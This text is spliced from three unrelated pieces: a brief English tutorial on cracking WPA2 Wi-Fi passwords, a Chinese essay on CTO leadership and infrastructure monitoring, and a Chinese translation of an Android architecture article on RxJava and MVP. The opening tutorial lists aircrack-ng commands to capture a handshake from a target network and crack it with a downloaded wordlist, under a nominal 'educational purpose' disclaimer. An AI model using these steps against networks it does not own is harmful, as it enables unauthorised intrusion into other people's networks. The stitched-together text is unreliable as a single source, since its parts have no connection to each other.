First of all you will need a Linux operating system & a little education about Python
programming.
You can install Linux operating system on any Pc or Laptop.
Note : This tutorial is only for eduactional purpose. The author of this pdf is not responsible for any illegal work. During installing and setting up you can loose all of your data, Do not do if you don’t know about programming.
Device:
Use Tp-link TL-WN722N Wifi Adapter for High gain.
Start! Open Terminal:
1. airmon-ng check kill
2. airmon-ng
3. airmon-ng start wlan0
4. airodump-ng wlan0mon
5. (control + c to stop)
6. airodump-ng wlan0mon —bssid 5C:F9:6A:CD:8A:1D -c 1 -w WPA2
7. wait for 1 minute, capture handshake
8. aircrack-ng WPA2-01.cap -w /root/rockyou.txt
/darkc0de
/Wpa list 1,2,3
darkc0de, Wpalist & rockyou.txt are the dictionaries files. You can download these from internet.
This PDF is made by Malik Mubashir
互联网的蓬勃发展，让无数的程序员身价水涨船高，都变成了「香饽饽」，更有了不少「创业」，「当上 CTO，迎娶白富美的传说」。都说不想当元帅的士兵不是好士兵，我觉得这件事见仁见智，但提升自己的价值，让自己变得更优秀更有竞争力，一定是一线城市的大部分 IT 人内心的追求。
诚然，并不是所有程序员都会变成 CTO，程序员——>CTO 的路径像是一个漏斗，极少数人沉淀下来，在业界掀起一阵阵飓风。这些 CTO 比起普通的程序员，强在哪？丰富的技术知识只是基础，更重要的是战略眼光，管理把控能力。那么 CTO 所思所想，和普通程序员究竟有什么不同?
普通的程序员往往只负责模块的开发，代码的优化，和新技术的钻研，哦对我说的是普通程序员，而不是只会 fork 的小白程序员；而走向管理领域的高级程序员也许已经开始负责团队，背负团队进度和效率。而 CTO，往往不仅要考虑优化团队的开发工具、流程，肩负起把控整体技术方向的重任，要具有前瞻性，同时还要对企业绩效负责。尤其是技术驱动型公司，你问这样的公司 CTO 好招么，答案通常是「很难招」。技术选型其实是创业公司最纠结的问题，很多团队往往一上来基于已有的程序员的个人习惯和爱好，选择了一个技术方案，然后到某一天一看，我靠，全是坑（当然，也可能与执行者的能力有关）。
图为通常来说程序员的发展路线：
影响企业绩效的因素在方方面面，核心因素却往往集中在产品上。不夸张地说，应用程序的性能对于企业绩效有着非常巨大的影响。互联网产品遍地开花，SDK 层出不穷，用户对于一种新产品的尝试时间与互联网产品更新的速度成反比。用户体验这个已经被讲烂的概念依然还是提升产品价值的关键按钮，无论是 2C 还是 2B。
一旦用户未在你所负责的产品中获得最佳体验，或者直接解决痛点，他们会毫不犹豫的选择其他平台。
这个问题普通程序员通常解决不了，而一名优秀的 CTO 就需要下点功夫了。如何成为一名优秀的 CTO，这是一个问题，而一个问题往往是另一个问题的解决方案。为什么一个团队需要优秀的 CTO？是因为需要有人来带领技术团队优化应用性能——解决用户体验的难题，提升开发、运维，把控技术团队的战略方向。那么，优化应用性能，获得好的用户体验，提升开发、运维效率，又该怎么做呢？
为了确保应用程序能够达到甚至超越用户的高期望，需要不断优化底层 IT 基础设施的性能。然而，随着基础设施变得越来越动态化，混合化和复杂化，一波波新的挑战随之而生，让不少 CTO 多了几根白头发。
但是一个问题的产生，往往意味着相应的解决方法正在路上。为了优化应用程序的性能，优秀的 CTO 需要足够主动和敏捷。
主动优化包括物理和虚拟服务器，网络，存储设备，数据库，终端用户服务，云，和大数据环境在内的所有基础设施。需要将 IT 团队带领成为不仅能够迅速识别和解决问题，同时具有强大的反脆弱性，在问题对用户体验产生不利影响之前，先发制人的组织。以下五大关键措施或许可以帮助我们实现一点。
1. 捕捉和报告性能指标
鉴于良好性能的重要性，对于 IT 团队来说只在基础设施组件出现问题时产生告警是不足够的。CTO 需要让团队能够提前发现潜在的性能问题，并主动解决。例如，通过免费或付费的第三方工具及一些开源工具，配置告警，在问题出现之前解决。不同的团队，往往有最为适合自己的基础设施监控手段，优秀的 CTO 需要能够综合衡量团队大小，开发、运维水平，与人力和资金成本，选择最符合公司当下情况的监控方式。对于变动型较大或者高速发展的公司，盲目增加人力和花费时间去进行自主开发系统监控解决方案往往造成时间的浪费，得不偿失。
2. 统一视图和工具来增加可视性，并加快问题解决
由于开源工具与第三方解决方案层出不穷，不少 IT 团队也勇于尝试新工具、新方法。虽然有很多新的工具，解决不同方面的问题，但当问题出现时，团队成员仍然花费许多时间开会讨论，不断地开会浪费了许多时间。而与此同时，用户却经历着槽糕的体验。为什么明明有许多工具却依然采取本办法沟通呢？原因有两个，一个是很多 IT 团队内部在使用不同的协作、监控等工具，另一个是其实团队内部并没有养成利用监控平台或者协作工具的习惯。这种时候 CTO 就需要发挥作用，采用一个统一且功能强大的视图和架构来监测关键的 IT 服务，无论是虚拟机，物理主机，云主机，或者其他组件，同时采取深刻理解DevOps，掌握提升协作、沟通效率，优化开发流程，节省运维成本，提前发现问题的方法。
3. 跟踪用户体验
IT 团队可能拥有大量的性能指标，但是如果不知道用户的真实体验，就还是无法真正了解性能表现。什么是真实的体验？就是用户在实际操作中，是如何使用我们的产品的，在某个界面停留多久，对哪个环节不满意，诸如此类。IT 团队需要分析端到端的基础设施的响应时间，并借助虚拟交易功能，持续跟踪交易响应时间，即使在用户不使用应用程序的情况下。
4. 采用严格的 SLA 管理
一旦企业的全面监测到位， IT 团队针对服务水平协议(SLAs)跟踪性能和体验是至关重要的。IT 团队需要能够跟踪 SLA 合规性，当潜在问题出现时，立即识别和解决。通过跟踪 SLAs，IT 企业可以评估他们在管理用户体验和基础设施性能上的有效性。 这一评估对于准确计量团队绩效，设定目标和跟踪进展也是至关重要的。
5. 将 IT 和非 IT 数据相关联，进行高效的容量规划
满足用户不断提高的期望，并不仅仅是跟踪 IT 数据。通过关联 IT 和业务数据，团队可以主动识别瓶颈，提高终端用户体验。比如，将服务器 CPU 利用率指标和简单的历史数据相关联；比如，将用户登录或交易的数量与 IT 数据一起进行展示，可以为适应未来发展的容量规划，提供有意义的见解。下图为某团队将 PHP 请求、响应时间等数据和系统性能数据一起导入 Cloud Insight 仪表盘进行展示的例子。
插播一个好玩的，下图为某团队成员别出心裁将键盘使用记录导入仪表盘进行展示，也许键盘记录只是一种出于好玩的别出心裁，但同理，也可以将运营数据、业务数据、系统性能数据一起导入仪表盘进行展示，这对一个快速增长的 IT 团队来说，就很有价值了。
总结
数据驱动互联网高速发展的时代，技术团队 Leader 除了技术过硬，眼光独到，还要将紧跟 DevOps 的步伐，放眼国内外，快速、敏捷、尽可能多的优化团队开发手段和流程，减少开发、运维、运营之间的沟通壁垒，将数据化融入到技术推进的方方面面。而当你在这些方面有了核心竞争力，就不再只是一名普通的程序员了。
序
本文介绍了文章作者从事了几年android应用的开发，经历2次架构变革，第一次集成了RxJava第二次集成了MVP，并将RxJava与MVP完美结合，实现了低耦合，代码简单，测试方便的架构。
其实我们在开发中也遇到过，Android入门门槛较低，如果前期对APP规划不清晰，Coder们对未来变化把握不准，技术架构经验不够强大，最终导致就是一个Activity几千行，里面写了大量的Private方法，拆成几个Fragment、封装出来几个类都是无法解决，结果就是看Activity难受的要死，纠结，看了不爽改也不是不改也不是，严重影响看的人的心情。并且怨天尤人这个是产品人员规划App不好，没有前瞻性，改来改去。。。
这篇文章就是使用新的结构解决该问题。
安卓APP架构
Android Application Architecture
Our journey from standard Activities and AsyncTasks to a modern MVP-based architecture powered by RxJava.
这篇文章主要目的是讲述如何将传统的Activities 与 AsyncTasks 模式向目前主流的MVP架构基础的响应式编程框架过度。
Different parts of a software codebase should be independent, yet perfectly work together like a well-oiled machine — photo by Chester Alvarez.
先畅享一下：~~~如果松耦合架构，分工明确，然后完美的组合在一起工作是一个很吊的事情。
（转个图片还要写明白谁拍的，版权意识真强）
The Android dev ecosystem moves very quickly. Every week new tools are created, libraries are updated, blog posts are written and talks are given. If you go on holiday for a month, by the time you come back there will be a new version of the support library and/or Play Services.
最近几年Android的生态链变化非常迅速，从底层的Android Api到应用层的各种开源的类库、工具更新非常迅速。一不留神就落后了。
I’ve been making Android apps with the ribot team for over three years. During this time, the architecture and technologies we’ve used to build Android apps have been continuously evolving. This article will take you through this journey by explaining our learnings, mistakes and the reasoning behind these architectural changes.
我在Ribot团队从事Android应用开发工作三年多，伴随着公司技术的不断创新，积累了很多经验、错误以及在技术选型背后的故事。
旧的应用架构
The old times
Back in 2012 our codebases used to follow a basic structure. We didn’t use any networking library and AsyncTasks were still our friends. The diagram below shows approximately how the architecture was.
2012年那个时候，我们的代码都是用的原生Android，没有使用任何的网络请求框架，而是基于AsyncTasks书写。
>The code was structured in two layers: the data layer that was in charge of retrieving/saving data from REST APIs and persistent data stores; and the view layer, whose responsibility was handling and displaying the data on the UI.
The APIProvider provides methods to enable Activities and Fragments to easily interact with the REST API. These methods use URLConnection and AsyncTasks to perform network calls in a separate thread and return the result to the Activities via callbacks.
代码分为两层，Data与View,Data层主要是用来从API获取数据，保存到持久化的db当中。View层主要就是把Data的数据显示到UI上。APIProvider提供方法出来，用于在Activity或者Fragment中方便的进行控制与交互。技术上将，使用URLConnection与AsyncTasks实现了一个异步的网络请求并将结果返回到调用的回调方法里面。
In a similar way, the CacheProvider contains methods that retrieve and store data from SharedPreferences or a SQLite database. It also uses callbacks to pass the result back to the Activities.
相同的原理CacheProvider提供一系列方法，将SharedPreferences或者SQLite的数据取出来，并且返回给到Activity
问题
The problems
The main issue with this approach was that the View layer had too many responsibilities. Imagine a simple common scenario where the application has to load a list of blog posts, cache them in a SQLite database and finally display them on a ListView. The Activity would have to do the following:
主要问题是View层有太多的累赘，以一个博客列表为例来讲述，比如博客需要显示一个ListView，从SQLite读取数据，Activity需要做到以下几点：
- Call a method loadPosts(callback) in the APIProvider
- Wait for the APIProvider success callback and then call savePosts(callback) in the CacheProvider.
- Wait for the CacheProvider success callback and then display the posts on the ListView.
- Separately handle the two potential errors callback from the APIProvider and CacheProvider.
- 执行APIProvider里面的loadPosts的方法，里面传入回调参数内容。
- 等待loadPosts执行成功后，执行回调里面的CacheProvider中的savePosts方法，savePosts也要传入回调参数。
- 等待savePosts执行成功后，执行回调里面的方法刷新ListView
- 分别书写代码处理2 3 两步的错误回调内容。
This is a very simple example. In a real case scenario the REST API will probably not return the data like the view needs it. Therefore, the Activity will have to somehow transform or filter the data before showing it. Another common case is when the loadPosts() method takes a parameter that needs to be fetched from somewhere else, for example an email address provided by the Play Services SDK. It’s likely that the SDK will return the email asynchronously using a callback, meaning that we now have three levels of nested callbacks. If we keep adding complexity, this approach will result into what is known as callback hell.
这还是一个比较简单的例子，在一些真实的场景中，远程的API可能没有返回程序的必须值，但是activity必须把数据处理完成之后才能显示结果。再一个例子就是如果loadPosts方法需要借助一些其他地方的返回参数时，类似用多线程去实现同步请求，为保证数据正常请求，意味着必须做一个三层的回调，如果再复杂一些，想理清楚这些回调就是很蛋疼的事情。
In summary:
Activities and Fragments become very large and difficult to maintain
Too many nested callbacks means the code is ugly and difficult to understand so painful to make changes or add new features.
Unit testing becomes challenging, if not impossible, because a lot of the logic lives within the Activities or Fragments that are arduous to unit test.
总之，回调多了之后，Activity与Fragment会乱的要死，并且一般人无法直视。
牛逼的新架构出来了
A new architecture driven by RxJava
We followed the previous approach for about two years. During that time, we made several improvements that slightly mitigated the problems described above. For example, we added several helper classes to reduce the code in Activities and Fragments and we started using Volley in the APIProvider. Despite these changes, our application code wasn’t yet test-friendly and the callback hell issue was still happening too often.
我们在蛋疼的架构中煎熬了2年，当然也尝试过很多方式，最终也只能是缓和一下乱的问题。我们在APIProvider使用了Volley，代替了AsyncHttpClient，但是其实是一个吊样。
It wasn’t until 2014 when we started reading about RxJava. After trying it on a few sample projects, we realised that this could finally be the solution to the nested callback problem. If you are not familiar with reactive programming you can read this introduction. In short, RxJava allows you to manage data via asynchronous streams and gives you many operators that you can apply to the stream in order to transform, filter or combine the data.
不到2014年我们就开始进行RxJava的预研，然后尝试了一批简单的项目，感觉RxJava的方式是解决我们嵌套回调的终极解决办法。简单的说，RxJava允许你通过异步流的方式管理你的数据，并且还可以通过操作符（Operators）对Observable对象的变换
Taking into account the pains we experienced in previous years, we started to think about how the architecture of a new app would look. So we came up with this.
我们用了几年的经验痛定思痛，搞了下面这么个东西，新的APP的架构图
Similar to the first approach, this architecture can be separated into a data and view layer. The data layer contains the DataManager and a set of helpers. The view layer is formed by Android framework components like Fragments, Activities, ViewGroups, etc.
与第一种方法相似，这个架构也是分为Data层与View层，Data层包含DataManager与一堆Helper；View层是包含Fragments, Activities, ViewGroups等。
Helper classes (third column on diagram) have very specific responsibilities and implement them in a concise manner. For example, most projects have helpers for accessing REST APIs, reading data from databases or interacting with third party SDKs. Different applications will have a different number of helpers but the most common ones are:
Helper主要是集成第三方的类库，以便于在代码中几行代码就可以清晰的实现某个功能，比如请求API，访问数据库等，虽然不同的应用程序都有不同的类库，但是他们无非就是以下这些内容：
- PreferencesHelper: reads and saves data in SharedPreferences.
- DatabaseHelper: handles accessing SQLite databases.
- Retrofit services: perform calls to REST APIs. We started using Retrofit instead of Volley because it provides support for RxJava. It’s also nicer to use.
- 从SharedPreferences中读取或者写入数据
- 读写SQLite数据库
- 类似与square的Retrofit服务，也就是Http Client,我们用Restrofit替代了Volley因为他支持Rxjava,并且更吊。
Most of the public methods inside helper classes will return RxJava Observables.
The DataManager is the brain of the architecture. It extensively uses RxJava operators to combine, filter and transform data retrieved from helper classes. The aim of the DataManager is to reduce the amount of work that Activities and Fragments have to do by providing data that is ready to display and won’t usually need any transformation.
RxJava最核心的两个东西是Observables（被观察者，事件源）和Subscribers（观察者）,在Helper类中的Public方法，一般都会返回一个RxJava的Observables;DataManager是整个架构的大脑，他大量的使用Rxjava的operators对Helper返回来的数据进行的整合过滤、二次处理。
The code below shows what a DataManager method would look like. This sample method works as follows:
下面用一个例子来说明DataManager是做什么的:
- Call the Retrofit service to load a list of blog posts from a REST API
- Save the posts in a local database for caching purposes using the DatabaseHelper.
- Filter the blog posts written today because those are the only ones the view layer wants to display.
- 调用Retrofit的服务，去请求一个博客列表的API
- 用DatabaseHelper保存这些数据到数据库
- 过滤出这些BLOG哪些是今天写的，然后显示到UI界面上。
Components in the view layer such as Activities or Fragments would simply call this method and subscribe to the returned Observable. Once the subscription finishes, the different Posts emitted by the Observable can be directly added to an Adapter in order to be displayed on a RecyclerView or similar.
Observables发出一系列事件，Subscribers（例如 Activities or Fragments）处理这些事件,可以直接将数据显示到一些可以回收、重用的View上面。
【BTW:如果一个Observerble没有任何的的Subscriber，那么这个Observable是不会发出任何事件的】
The last element of this architecture is the event bus. The event bus allows us to broadcast events that happen in the data layer, so that multiple components in the view layer can subscribe to these events. For example, a signOut() method in the DataManager can post an event when the Observable completes so that multiple Activities that are subscribed to this event can change their UI to show a signed out state.
这个架构的另外一个模块是event bus，event bus可以让我们在Data层发出广播（不是Android的Broadcast）然后不同的模块去注册并接收不同的广播事件
Why was this approach better?
RxJava Observables and operators remove the need for having nested callbacks.
为什么这个方式这么牛逼，是因为Observables与operators可以去掉那一堆必须的回调方法
The DataManager takes over responsibilities that were previously part of the view layer. Hence, it makes Activities and Fragments more lightweight.
Moving code from Activities and Fragments to the DataManager and helpers means that writing unit tests becomes easier.
DataManager替代了传统架构中很多代码，从而使得Activity与Fragment变得更加轻量级。并且使得单元测试变得更加简单。
Clear separation of responsibilities and having the DataManager as the only point of interaction with the data layer, makes this architecture test-friendly. Helper classes or the DataManager can be easily mocked.
DataManager成为了唯一的数据交互部分，这样清晰的架构使得更方便进行代码自测。
What problems did we still have?
For large and very complex projects the DataManager can become too bloated and difficult to maintain.
Although view layer components such as Activities and Fragments became more lightweight, they still have to handle a considerable amount of logic around managing RxJava subscriptions, analysing errors, etc.
我们还有什么问题？
- 如果对于非常庞大并且复杂的项目来说，DataManger也会变得非常臃肿并且难以维护。
- 尽管Activity与Fragment已经变得更加轻量级，但是对于错误异常的处理还是要在subscriptions的地方去书写。
一体化的MVP模式
Integrating Model View Presenter
In the past year, several architectural patterns such as MVP or MVVM have been gaining popularity within the Android community. After exploring these patterns on a sample project and article, we found that MVP could bring very valuable improvements to our existing approach. Because our current architecture was divided in two layers (view and data), adding MVP felt natural. We simply had to add a new layer of presenters and move part of the code from the view to presenters.
前几年开始，很多类似MVP与MVVM在Android的一些社区比较流行，经过研究之后，我们发现MVP模式是对我们目前的方案最有价值的改动。我们的两层架构View-Data与MVP的 Model-View架构天然融合，理念一致。我们只需要增加一个presenters层，然后把之前在view实现的代码移到上面就可以了。
The data layer remains as it was but it’s now called model to be more consistent with the name of the pattern.
Presenters are in charge of loading data from the model and calling the right method in the view when the result is ready. They subscribe to Observables returned by the data manager. Therefore, they have to handle things like schedulers and subscriptions. Moreover, they can analyse error codes or apply extra operations to the data stream if needed. For example, if we need to filter some data and this same filter is not likely to be reused anywhere else, it may make more sense to implement it in the presenter rather than in the data manager.
之前的Data层就是现在的MVP中的Model，Presenter现在负责从Model中加载数据，加载完成后后再去调用左边的在Activity、ViewGroup中的方法。Presenters的subscribe去接收data manager中的Observables广播出来的数据。
举例说明，如果我们需要增加数据的过滤操作但是并不是所有地方都需要的那种，那就可以在presenter里面写这些代码，而不用写在公共的datamanager里面。
Below you can see what a public method in the presenter would look like. This code subscribes to the Observable returned by the dataManager.loadTodayPosts() method we defined in the previous section.
我们定义的dataManager.loadTodayPosts()会广播出数据给到对应的subscribes
The mMvpView is the view component that this presenter is assisting. Usually the MVP view is an instance of an Activity, Fragment or ViewGroup.
MVP的View并不是指的Android的View，而是一个界面组件的的实例，例如Activity, Fragment ， ViewGroup 在注册presenter的时候，需要把自己当前的实例传递进去。
// Activity onCreate 中的代码段 if (presenter == null) presenter = new Presenter1(); presenter.onTakeView(this);
Like the previous architecture, the view layer contains standard framework components like ViewGroups, Fragments or Activities. The main difference is that these components don’t subscribe directly to Observables. They instead implement an MvpView interface and provide a list of concise methods such as showError() or showProgressIndicator(). The view components are also in charge of handling user interactions such as click events and act accordingly by calling the right method in the presenter. For example, if we have a button that loads the list of posts, our Activity would call presenter.loadTodayPosts() from the onClick listener.
这个架构与上一个架构不同的是，ViewLayer 也就是Activity这些，不会直接去订阅接收Observables发出的这些事件。而是只在Activity实现几个简单的显示错误、显示进度的方法（用接口interface来规范统一），然后把当前实例以参数形式传递给到对应事件的Presenter，由Presenter去执行这些显示错误、显示进度的方法。
当然对于用户交互部分的按钮点击事件还是要在Activity中进行处理。
If you want to see a full working sample of this MVP-based architecture, you can check out our Android Boilerplate project on GitHub. You can also read more about it in the ribot’s architecture guidelines.
关于MVP的文章可以自行百度一下，MVP Android 关键词
Why is this approach better?
为什么这个又最吊
- Activities and Fragments become very lightweight. Their only responsibilities are to set up/update the UI and handle user events. Therefore, they become easier to maintain.
- We can now easily write unit tests for the presenters by mocking the view layer. Before, this code was part of the view layer so we couldn’t unit test it. The whole architecture becomes very test-friendly.
- If the data manager is becoming bloated, we can mitigate this problem by moving some code to the presenters.
- Activity与Fragment代码量大大降低，逻辑代码全部都丢给了Presenter,结果就是Activity只需要负责UI交互的按钮等代码。
- 对于Presenter可以写单独的单元测试代码，只需要对Presenter提供的方法测试即可
- 如果DataManager变得臃肿庞大了，我们可以分离这些代码到各自的Presenter中去。
What problems do we still have?
现在还有遗留什么问题
Having a single data manager can still be an issue when the codebase becomes very large and complex. We haven’t reached the point where this is a real problem but we are aware that it could happen.
只有一个DataManager仍旧是一个问题，尤其是当代码项目比较庞大的时候，当然我们还没有到达这个庞大的地步，尽管我们知道这个将来某天会发生。
It’s important to mention that this is not the perfect architecture. In fact, it’d be naive to think there is a unique and perfect one that will solve all your problems forever. The Android ecosystem will keep evolving at a fast pace and we have to keep up by exploring, reading and experimenting so that we can find better ways to continue building excellent Android apps.
如果想有个完美的架构解决你所有问题是不可能的。TMD Android的整个生态圈变化太快，又TM的不标准，就导致我们不断的去探索探索。。。以致于去找到更吊的方法去做Android apps。
I hope you enjoyed this article and you found it useful. If so, don’t forget to click the recommend button. Also, I’d love to hear your thoughts about our latest approach.
希望读了之后对我们的最新解决方案能有些建议想法。
【本文翻译的目的是在闲暇时间，研究新技术，用通俗技术语言写给自己看，便于日后方便查阅为目】
原文：https://medium.com/ribot-labs/android-application-architecture-8b6e34acda65
MVP介绍：http://www.jcodecraeer.com/a/anzhuokaifa/androidkaifa/2015/0425/2782.html
RxAndroid:https://github.com/ReactiveX/RxAndroid
Eventbus:https://github.com/greenrobot/EventBus